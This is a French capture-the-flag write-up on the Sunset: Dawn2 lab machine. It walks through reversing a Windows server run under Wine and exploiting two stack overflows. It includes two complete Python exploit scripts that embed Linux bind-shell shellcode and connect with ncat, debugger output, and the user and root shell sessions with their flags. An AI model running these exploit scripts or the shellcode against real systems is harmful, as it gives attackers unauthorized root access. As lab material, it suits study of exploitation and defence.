Sunset: Dawn2 est un CTF qui m’a donné plus de difficultés que j’imaginais au début. Certes on entre très vite sur l’exploitation d’un stack overflow mais cette dernière est triviale.
Le problème, c’est que j’ai dû faire face à une sombre histoire de versions de Wine qui faisait que mon shellcode marchait en local, mais pas sur la VM (TLDR: Utilisez toujours des shellcodes Linux pour Wine).
Et soudain, tout va très vite
1
2
3
4
5
6
7
8
9
Nmap scan report for 192.168.56.158
Host is up (0.00027s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
1435/tcp open ibm-cics?
1985/tcp open hsrp?
On a deux ports inconnus et la page web servie sur le port 80 nous invite à récupérer un exécutable :
DAWN Multi Server - Version 1.1
Important:
Due the lack of implementation of the Dawn client, many issues may be experienced, such as the message not being delivered. In order to make sure the connection is finished and the message well received, send a NULL-byte at the ending of your message. Also, the service may crash after several requests.
Sorry for the inconvenience!
Il s’agit d’un binaire Windows. La VM étant sous Linux on devine qu’il est exécuté via Wine.
1
2
$ file dawn.exe
dawn.exe: PE32 executable (console) Intel 80386, for MS Windows, 7 sections
En analysant le binaire avec Cutter
, on a un peu de mal à voir ce qu’il fait. En vérité, il ne fait pas grand-chose, d’ailleurs cela se voit dans la liste des imports qui n’a rien de bien intéressant.
Le programme n’a même pas de gestion de threads et ne fait pas non plus de fork quand un client se connecte.
Ce qu’il faut retenir principalement, c’est qu’après l’appel à recv
, le programme appelle une fonction fcn.3457114f
qui fait juste un jmp 0x34576730
. Le code à cette adresse est le suivant :
1
2
3
4
5
6
7
8
9
10
11
12
0x34576730 push ebp
0x34576731 mov ebp, esp
0x34576733 sub esp, 0x10c
0x34576739 mov eax, dword [arg_4h]
0x3457673c push eax ; int32_t arg_8h
0x3457673d lea ecx, [var_110h]
0x34576743 push ecx ; int32_t arg_4h
0x34576744 call fcn.34571cdf ; fcn.34571cdf
0x34576749 add esp, 8
0x3457674c mov esp, ebp
0x3457674e pop ebp
0x3457674f ret
La fonction fcn.34571cdf
semble être une boucle qui prend le buffer reçu et sur chaque block de 4 octets effectue une addition puis un XOR.
Mais peu importe, cette fonction est vraisemblablement vulnérable, car à l’adresse 0x3457674f
, quand l’instruction ret
est appelée, on contrôle ce qui est sur la pile et donc l’adresse de retour.
Il suffit s’envoyer un bon paquet de A
(0x41
) pour s’en rendre compte :
1
2
3
4
5
6
7
8
9
10
$ wine dawn.exe
002c:err:winediag:getaddrinfo Failed to resolve your host name IP
0080:fixme:hid:handle_IRP_MN_QUERY_ID Unhandled type 00000005
0080:fixme:hid:handle_IRP_MN_QUERY_ID Unhandled type 00000005
0080:fixme:hid:handle_IRP_MN_QUERY_ID Unhandled type 00000005
0080:fixme:hid:handle_IRP_MN_QUERY_ID Unhandled type 00000005
[+] The server has been started.
[*] The server is currently listening...
[+] A connection has been received, connection fd is 64, ip is : 127.0.0.1, port : 34506
0024:err:virtual:virtual_setup_exception stack overflow 772 bytes addr 0x41414141 stack 0x230cfc (0x230000-0x231000-0x330000)
J’utilise pwntools
pour créer une chaine de caractères sans répétition :
1
2
3
4
>>> from pwnlib.util.cyclic import cyclic_gen
>>> g = cyclic_gen()
>>> g.get(1024)
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak'
Je lance dawn.exe
en local avec la commande winedbg --gdb dawn.exe
(l’option --gdb
permet d’intégrer les features de gdb
à winedbg
via du remote debugging).
Et j’envoie la chaine sur le port 1985 de dawn
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[----------------------------------registers-----------------------------------]
EAX: 0x32fc0c ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab"...)
EBX: 0x7ffd1000 --> 0x10000 --> 0x0
ECX: 0x446cf4 --> 0x1460000 --> 0x0
EDX: 0x12a
ESI: 0x345ccda8 --> 0x1
EDI: 0x345ccdac --> 0x44f1e0 --> 0x44f1e8 ("dawn.exe")
EBP: 0x63616172 ('raac')
ESP: 0x32fd20 ("taacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaae"...)
EIP: 0x63616173 ('saac')
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x63616173
[------------------------------------stack-------------------------------------]
0000| 0x32fd20 ("taacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaae"...)
0004| 0x32fd24 ("uaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaae"...)
0008| 0x32fd28 ("vaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaae"...)
0012| 0x32fd2c ("waacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaae"...)
0016| 0x32fd30 ("xaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaae"...)
0020| 0x32fd34 ("yaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaae"...)
0024| 0x32fd38 ("zaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae"...)
0028| 0x32fd3c ("baadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaaf"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x63616173 in ?? ()
J’ai installé Peda
dans gdb
qui me donne rapidement les informations utiles.
Je vois que le registre eax
pointe sur le début de la chaine.
Pour eip
, il faut écrire 272 octets avant de l’écraser :
1
2
>>> g.find("saac")
(272, 0, 272)
Et enfin, esp
pointe comme d’habitude juste après dans le buffer avec des données que l’on contrôle aussi.
Je peux utiliser ROPgadget
pour trouver des instructions intéressantes dans le binaire, par exemple :
1
2
3
4
5
6
7
$ python ROPgadget.py --binary /tmp/dawn.exe | grep 'jmp eax'
0x345ba5fc : jg 0x345ba606 ; mov eax, dword ptr [ecx*4 + 0x345ba644] ; jmp eax
0x345be91c : jg 0x345be926 ; mov eax, dword ptr [ecx*4 + 0x345be964] ; jmp eax
0x345ba605 : jmp eax
0x345be91b : lea edi, [edi + 8] ; mov eax, dword ptr [ecx*4 + 0x345be964] ; jmp eax
0x345ba5fe : mov eax, dword ptr [ecx*4 + 0x345ba644] ; jmp eax
0x345be91e : mov eax, dword ptr [ecx*4 + 0x345be964] ; jmp eax
Mais 272 octets pour placer un shellcode, ça peut être assez court. On va donc le placer après l’adresse de retour. Ce gadget trouvé fera l’affaire :
1
0x345964ba : call esp
J’étais parti initialement sur l’idée de faire exécuter un shellcode Windows : Windows/x86 - Dynamic Bind Shell + Null-Free Shellcode (571 Bytes).
C’était en effet ce que j’avais fait sur les CTFs Netstart et c0m80.
Wine : à consommer avec modération
D’ailleurs en local l’exploitation fonctionnait nickel et j’avais bien l’invite de commande avec Z:>
sur le port 4444.
Mais impossible d’obtenir un shell sur le binaire de la VM.
J’ai donc choisi d’ouvrir la VM pour me rajouter un compte et déboguer le binaire sur place. Ce qui n’a pas été si facile, car gdb n’était pas présent (donc limité en features).
Il s’est avéré que le saut sur le shellcode se faisait bien, que les premières instructions étaient même exécutées, mais que ça merdait plus loin dans l’exécution.
Le shellcode en question va chercher en mémoire certaines chaines de caractères (genre GetProcAddress
). Ma supposition, c’est qu’il ne la trouvait pas et par conséquent finissait par atteindre une adresse mémoire inaccessible ce qui causait un crash avec une erreur parlant de SEH.
Finalement en utilisant un shellcode Linux ça fonctionnait. Ma conclusion, c’est que ma version plus récente de Wine émule mieux le code Windows et parvient donc à exécuter le shellcode alors que celle un peu plus datée du CTF rencontre quelques difficultés à le faire.
Finalement le code d’exploitation est le suivant :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import sys
import os
import socket
from struct import pack
call_esp = 0x345964ba
def exploit(ip, shellcode):
sock = socket.socket()
sock.connect((ip, 1985))
buf = b"A" * 272 + pack("<I", call_esp) + shellcode + b"\0"
sock.send(buf)
sock.close()
# https://www.exploit-db.com/shellcodes/44602
# Linux/x86 - Bind (9443/TCP) Shell + fork() + Null-Free Shellcode (113 bytes)
shellcode = (
b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8"
b"\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3"
b"\x66\xb8\x69\x01\x52\x66\x68"
b"\x24\xe3" # ==> port number = 9443; sock_ad.sin_port = htons(9443);
b"\x66\x6a\x02\x89\xe1\xb2\x10\xcd\x80\x66"
b"\xb8\x6b\x01\x31\xc9\xcd\x80\x31\xd2\x31"
b"\xf6\x66\xb8\x6c\x01\xcd\x80\x89\xc6\x31"
b"\xc0\xb0\x02\xcd\x80\x31\xff\x39\xf8\x75"
b"\xe8\x31\xc0\xb0\x06\xcd\x80\x89\xf3\xb1"
b"\x02\xb0\x3f\xcd\x80\xfe\xc9\x79\xf8\x31"
b"\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68"
b"\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1"
b"\xb0\x0b\xcd\x80"
)
exploit(sys.argv[1], shellcode)
os.system(f"ncat {sys.argv[1]} 9443 -v")
L’utilisation d’un shellcode qui fork est nécessaire ici sinon le shell se ferme dès la connexion.
Exécution et récupération du premier flag :
1
2
3
4
5
6
7
8
9
10
11
$ python3 exploit.py 192.168.56.161
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.56.161:9443.
id
uid=1000(dawn-daemon) gid=1000(dawn-daemon) groups=1000(dawn-daemon),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
ls
dawn-BETA.exe
dawn.exe
user.txt
cat user.txt
ebcc766cc3d69da825efff32a5b1b304
Destroy it one more time cause it’s so good they built it twice
On note alors la présence d’un second binaire. Ce dernier est exécuté avec les droits root :
1
root 794 0.0 0.0 2388 692 ? Ss 04:13 0:00 /bin/sh -c /usr/bin/wine /root/dawn-BETA
C’est ce dernier qui écoute sur le second port qu’on a vu au début (1435).
Quand je l’ouvre avec Cutter
je remarque immédiatement une fonction avec un nom explicite :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
_vulnerable_function (void *arg_4h);
; var const char *src @ stack - 0x28
; var char *dest @ stack - 0xd
; arg void *arg_4h @ stack + 0x4
0x52501519 push ebp
0x5250151a mov ebp, esp
0x5250151c sub esp, 0x28
0x5250151f mov eax, dword [arg_4h]
0x52501522 mov dword [src], eax ; const char *src
0x52501526 lea eax, [dest]
0x52501529 mov dword [esp], eax ; char *dest
0x5250152c call _strcpy ; sym._strcpy ; char *strcpy(char *dest, const char *src)
0x52501531 mov eax, 1
0x52501536 leave
0x52501537 ret
On lui balance la chaine préalablement générée par pwntools
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0xcaea
ECX: 0x42fc8f ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab"...)
EDX: 0x0
ESI: 0xe
EDI: 0x55386c --> 0x0
EBP: 0x64616161 ('aaad')
ESP: 0x42fca0 ("aaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaace"...)
EIP: 0x65616161 ('aaae')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x65616161
[------------------------------------stack-------------------------------------]
Cette fois eip
se situe au 13ᵉ octet et esp
au 17ᵉ octet.
Autant dire que les modifications à apporter au premier exploit sont minimes (adresse du gadget + nombre d’octets au début du buffer) :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import sys
import os
import socket
from struct import pack
call_esp = 0x52501513
def exploit(ip, shellcode):
sock = socket.socket()
sock.connect((ip, 1435))
buf = b"A" * 13 + pack("<I", call_esp) + shellcode + b"\0"
sock.send(buf)
sock.close()
# https://www.exploit-db.com/shellcodes/44602
# Linux/x86 - Bind (9443/TCP) Shell + fork() + Null-Free Shellcode (113 bytes)
shellcode = (
b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8"
b"\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3"
b"\x66\xb8\x69\x01\x52\x66\x68"
b"\x24\xe3" # ==> port number = 9443; sock_ad.sin_port = htons(9443);
b"\x66\x6a\x02\x89\xe1\xb2\x10\xcd\x80\x66"
b"\xb8\x6b\x01\x31\xc9\xcd\x80\x31\xd2\x31"
b"\xf6\x66\xb8\x6c\x01\xcd\x80\x89\xc6\x31"
b"\xc0\xb0\x02\xcd\x80\x31\xff\x39\xf8\x75"
b"\xe8\x31\xc0\xb0\x06\xcd\x80\x89\xf3\xb1"
b"\x02\xb0\x3f\xcd\x80\xfe\xc9\x79\xf8\x31"
b"\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68"
b"\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1"
b"\xb0\x0b\xcd\x80"
)
exploit(sys.argv[1], shellcode)
os.system(f"ncat {sys.argv[1]} 9443 -v")
Et on obtient notre shell root :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ python3 exploit2.py 192.168.56.161
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.56.161:9443.
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls
dawn-BETA.exe
proof.txt
cat proof.txt
,. _~-., .
~'`_ \/,_. \_
/ ,"_>@`,__`~.) | .
| | @@@@' ",! . . '
|/ ^^@ .! \ | /
`' .^^^ ,' ' | . .
.^^^ . \ / .
.^^^ ' . \ | / . '
.,.,. ^^^ ` . .,+~'`^`'~+,. , '
&&&&&&, ,^^^^. . ._ ..__ _ .' '. '_ __ ____ __ _ .. . .
%%%%%%%%%^^^^^^%%&&;_,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,
&&&&&%%%%%%%%%%%%%%%%%%&&;,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,__,.-=~'`^`'~=
%%%%%&&&&&&&&&&&%%%%&&&_,.;^`'~=-.,__,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,__,
%%%%%%%%%&&&&&&&&&-=~'`^`'~=-.,__,.-=~'`^`'~=-.,__,.-==--^'~=-.,__,.-=~'
##mjy#####*"'
_,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,.-=~'`^`'~=-.,__,.-=~'
~`'^`'~=-.,__,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,__,.-=~'`^
Thanks to @M_Ercolino for the original application. Original code:https://itandsecuritystuffs.wordpress.com/2014/03/26/understanding-buffer-overflow-attacks-part-2/
Thanks for playing! - Felipe Winsnes (@whitecr0wz)
cb484c37abf0ade3b36112335d81fa01
Pour ce qui est du fonctionnement du CTF on retrouve 3 commandes dans la crontab root
:
1
2
3
4
# m h dom mon dow command
*/3 * * * * killall dawn.exe
*/3 * * * * killall dawn-BETA.exe
* * * * * /usr/bin/wine /root/dawn-BETA
Et une pour l’utilisateur dawn-daemon
:
1
2
# m h dom mon dow command
* * * * * /usr/bin/wine /home/dawn-daemon/dawn.exe